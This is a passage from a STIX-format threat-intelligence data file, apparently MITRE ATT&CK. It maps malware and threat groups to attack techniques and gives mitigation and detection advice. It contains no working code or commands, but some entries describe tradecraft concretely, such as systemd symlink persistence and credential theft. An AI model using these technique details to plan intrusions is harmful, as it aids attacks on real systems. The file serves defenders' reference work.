"[Valak](https://attack.mitre.org/software/S0476) can collect sensitive mailing information from Exchange servers, including credentials and the domain certificate of an enterprise.(Citation: Cybereason Valak May 2020)", "relationship_type": "uses", "source_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53", "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--99e04ca5-f096-4069-888d-12e8945a69ce", "type": "relationship", "created": "2020-11-19T18:02:58.598Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR SLOTHFULMEDIA October 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}], "modified": "2020-11-19T18:02:58.598Z", "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has deleted itself and the 'index.dat' file on a compromised machine to remove recent Internet history from the system.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", "relationship_type": "uses", "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--99e6e6cb-c19e-4689-8c92-b5429c709b91", "type": "relationship", "created": "2021-03-12T16:55:09.346Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC NOBELIUM Mar 2021", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."}, {"source_name": "FireEye SUNSHUTTLE Mar 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."}], "modified": "2021-03-15T21:09:44.550Z", "description": "[GoldMax](https://attack.mitre.org/software/S0588) has decoded and decrypted the configuration file when executed.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)", "relationship_type": "uses", "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--99e7e929-1e72-4d9a-8997-15f977f36218", "type": "relationship", "created": "2021-05-11T18:51:16.441Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-16T01:35:43.834Z", "description": "Consider periodic reviews of accounts and privileges for critical and sensitive code repositories. Scan code repositories for exposed credentials or other sensitive information.", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--99e9583f-433d-437d-bf37-7ea2b3f1b613", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", "source_name": "Secureworks BRONZE BUTLER Oct 2017"}, {"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:31.804Z", "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has compressed data into password-protected RAR archives prior to exfiltration.(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--99ea03d5-6c11-4f5e-9ab1-13ee0f4fca43", "type": "relationship", "created": "2020-02-25T18:49:52.384Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/connect/articles/ssh-and-ssh-agent", "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.", "source_name": "Symantec SSH and ssh-agent"}], "modified": "2020-03-23T23:11:24.939Z", "description": "Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--99eab281-6555-4aee-9d83-0e97bb3262ef", "type": "relationship", "created": "2020-07-17T15:48:51.491Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CME Github September 2018", "url": "https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference", "description": "byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}], "modified": "2020-07-29T20:01:02.427Z", "description": "[CrackMapExec](https://attack.mitre.org/software/S0488) can create a registry key using wdigest.(Citation: CME Github September 2018)", "relationship_type": "uses", "source_ref": "tool--c4810609-7da6-48ec-8057-1b70a7814db0", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--99ec87aa-5e07-4d47-8d29-6614850c88b5", "type": "relationship", "created": "2021-05-06T14:57:19.309Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT34 April 2021", "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}], "modified": "2021-05-06T14:57:19.309Z", "description": "(Citation: Check Point APT34 April 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "malware--df4cd566-ff2f-4d08-976d-8c86e95782de", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--99ef9825-e901-49fc-8d87-668ff60b52dc", "type": "relationship", "created": "2021-01-11T19:41:29.362Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Red Canary NETWIRE January 2020", "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}], "modified": "2021-01-11T19:41:29.362Z", "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can retrieve passwords from messaging and mail client applications.(Citation: Red Canary NETWIRE January 2020)", "relationship_type": "uses", "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--99f3e59e-6e6e-4602-83df-52de4cbf6abd", "created": "2024-03-28T15:48:40.970Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T15:48:40.970Z", "description": "Where possible, consider enforcing the use of container services in rootless mode to limit the possibility of privilege escalation or malicious effects on the host running the container.", "relationship_type": "mitigates", "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--99f5f421-c462-472c-9aa8-29a4316c3f5e", "type": "relationship", "created": "2020-11-17T18:39:07.179Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR SLOTHFULMEDIA October 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}], "modified": "2020-11-17T18:39:07.179Z", "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has downloaded files onto a victim machine.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", "relationship_type": "uses", "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9a0137e5-82d0-4419-961a-9b0eb47b2d79", "created": "2023-03-20T16:44:30.505Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Lunghi Iron Tiger Linux", "description": "Daniel Lunghi. (2023, March 1). Iron Tiger\u2019s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.", "url": "https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-12T19:26:26.932Z", "description": "[SysUpdate](https://attack.mitre.org/software/S0663) can copy a script to the user owned `/usr/lib/systemd/system/` directory with a symlink mapped to a `root` owned directory, `/etc/ystem/system`, in the unit configuration file's `ExecStart` directive to establish persistence and elevate privileges.(Citation: Lunghi Iron Tiger Linux)", "relationship_type": "uses", "source_ref": "malware--c009560a-f097-45a3-8f9f-78ec1440a783", "target_ref": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a05a8cc-8d3c-46a5-947e-bebed2ab1c5a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Sofacy", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"}], "modified": "2020-03-17T00:01:24.095Z", "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) connects to port 80 of a C2 server using Wininet API. Data is exchanged via HTTP POSTs.(Citation: Kaspersky Sofacy)", "relationship_type": "uses", "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a2046a3-41c8-4d81-a812-63c66bcb3400", "type": "relationship", "created": "2019-03-04T17:12:37.693Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Anomali Linux Rabbit 2018", "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat", "description": "Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019."}], "modified": "2019-07-26T20:18:44.811Z", "description": "[Linux Rabbit](https://attack.mitre.org/software/S0362) sends the payload from the C2 server as an encoded URL parameter. (Citation: Anomali Linux Rabbit 2018)", "relationship_type": "uses", "source_ref": "malware--0efefea5-78da-4022-92bc-d726139e8883", "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a20877d-8741-4d11-89c2-549ab3f8aed5", "type": "relationship", "created": "2022-03-30T14:26:51.842Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.842Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a24e972-81d5-4cfc-81ed-3e7752e3b463", "type": "relationship", "created": "2020-03-12T19:17:03.461Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET TeleBots Oct 2018", "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018."}, {"source_name": "ANSSI Sandworm January 2021", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}], "modified": "2021-03-31T15:55:36.307Z", "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a hardcoded location under systemd that it uses to achieve persistence if it is running as root.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", "target_ref": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9a255458-7c76-4705-98f1-e2602ebc7795", "created": "2024-03-25T19:04:05.604Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SocGholish-update", "description": "Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.", "url": "https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"}, {"source_name": "SentinelOne SocGholish Infrastructure November 2022", "description": "Milenkoski, A. (2022, November 7). SocGholish Diversifies and Expands Its Malware Staging Infrastructure to Counter Defenders. Retrieved March 22, 2024.", "url": "https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/"}, {"source_name": "Red Canary SocGholish March 2024", "description": "Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.", "url": "https://redcanary.com/threat-detection-report/threats/socgholish/"}, {"source_name": "Secureworks Gold Prelude Profile", "description": "Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.", "url": "https://www.secureworks.com/research/threat-profiles/gold-prelude"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-26T18:28:41.999Z", "description": "[Mustard Tempest](https://attack.mitre.org/groups/G1020) has used drive-by downloads for initial infection, often using fake browser updates as a lure.(Citation: SocGholish-update)(Citation: SentinelOne SocGholish Infrastructure November 2022)(Citation: Red Canary SocGholish March 2024)(Citation: Secureworks Gold Prelude Profile)", "relationship_type": "uses", "source_ref": "intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a29dd75-31b1-4385-beb9-e093851849f6", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts", "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", "source_name": "Proofpoint TA459 April 2017"}], "modified": "2019-03-25T17:00:47.386Z", "description": "(Citation: Proofpoint TA459 April 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", "target_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9a340fa8-70c5-4bf6-a8c2-6e28e3fc8b59", "created": "2023-02-08T19:45:35.832Z", "revoked": false, "external_references": [{"source_name": "Palo Alto Brute Ratel July 2022", "description": "Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.", "url": "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-08T19:45:35.832Z", "description": "[Brute Ratel C4](https://attack.mitre.org/software/S1063) has the ability to use RPC for lateral movement.(Citation: Palo Alto Brute Ratel July 2022)", "relationship_type": "uses", "source_ref": "tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5", "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a35b72d-f238-4214-8bd1-91b768ab277b", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", "source_name": "Forcepoint Monsoon"}], "modified": "2019-07-11T13:53:06.147Z", "description": "(Citation: Forcepoint Monsoon)", "relationship_type": "uses", "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", "target_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a36085f-d0a9-41f2-a9cf-97e81c286ef2", "type": "relationship", "created": "2021-02-17T20:27:27.376Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM MegaCortex", "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}], "modified": "2021-03-31T18:53:16.762Z", "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has used a Base64 key to decode its components.(Citation: IBM MegaCortex)", "relationship_type": "uses", "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a380085-30dd-4a57-bd52-f85acd584e43", "type": "relationship", "created": "2019-04-12T15:39:22.027Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", "source_name": "Symantec Elfin Mar 2019"}], "modified": "2020-03-28T21:23:11.141Z", "description": "[APT33](https://attack.mitre.org/groups/G0064) has created a scheduled task to execute a .vbe file multiple times a day.(Citation: Symantec Elfin Mar 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a433652-118d-428e-8ff0-551543a062a7", "type": "relationship", "created": "2020-10-20T01:21:23.726Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-17T16:30:53.763Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a4500e9-b0b7-4955-b937-da25d065fb79", "type": "relationship", "created": "2022-03-30T14:26:51.849Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.849Z", "description": "Monitor executed commands and arguments, such as requests for credentials and/or strings related to creating password prompts that may be malicious.(Citation: Spoofing credential dialogs)", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Spoofing credential dialogs", "description": "Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021.", "url": "https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/"}]}, {"type": "relationship", "id": "relationship--9a462c0e-a60e-4983-8839-1f0e41cc133a", "created": "2022-09-27T17:51:34.895Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T17:51:34.895Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors proxied traffic through multiple infected systems.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9a4838fe-e9f1-4bdc-b723-8b75461f6ad0", "created": "2022-04-16T17:45:54.045Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor executed commands and arguments for potential adversary actions to modify Registry values (ex: <code>reg.exe</code>) or modify/replace the legitimate <code>termsrv.dll</code>.", "modified": "2022-04-16T17:45:54.045Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a49976f-d9bd-481e-a8b2-25cb1531dc75", "type": "relationship", "created": "2022-03-30T14:26:51.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.859Z", "description": "Monitor for changes made to files that may leverage Microsoft Office-based applications for persistence between startups.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9a513f75-f09b-4840-8654-521fa4ff59fa", "created": "2020-06-23T22:35:10.751Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-01T15:09:43.901Z", "description": "[Environmental Keying](https://attack.mitre.org/techniques/T1480/001) likely should not be mitigated with preventative controls because it may protect unintended 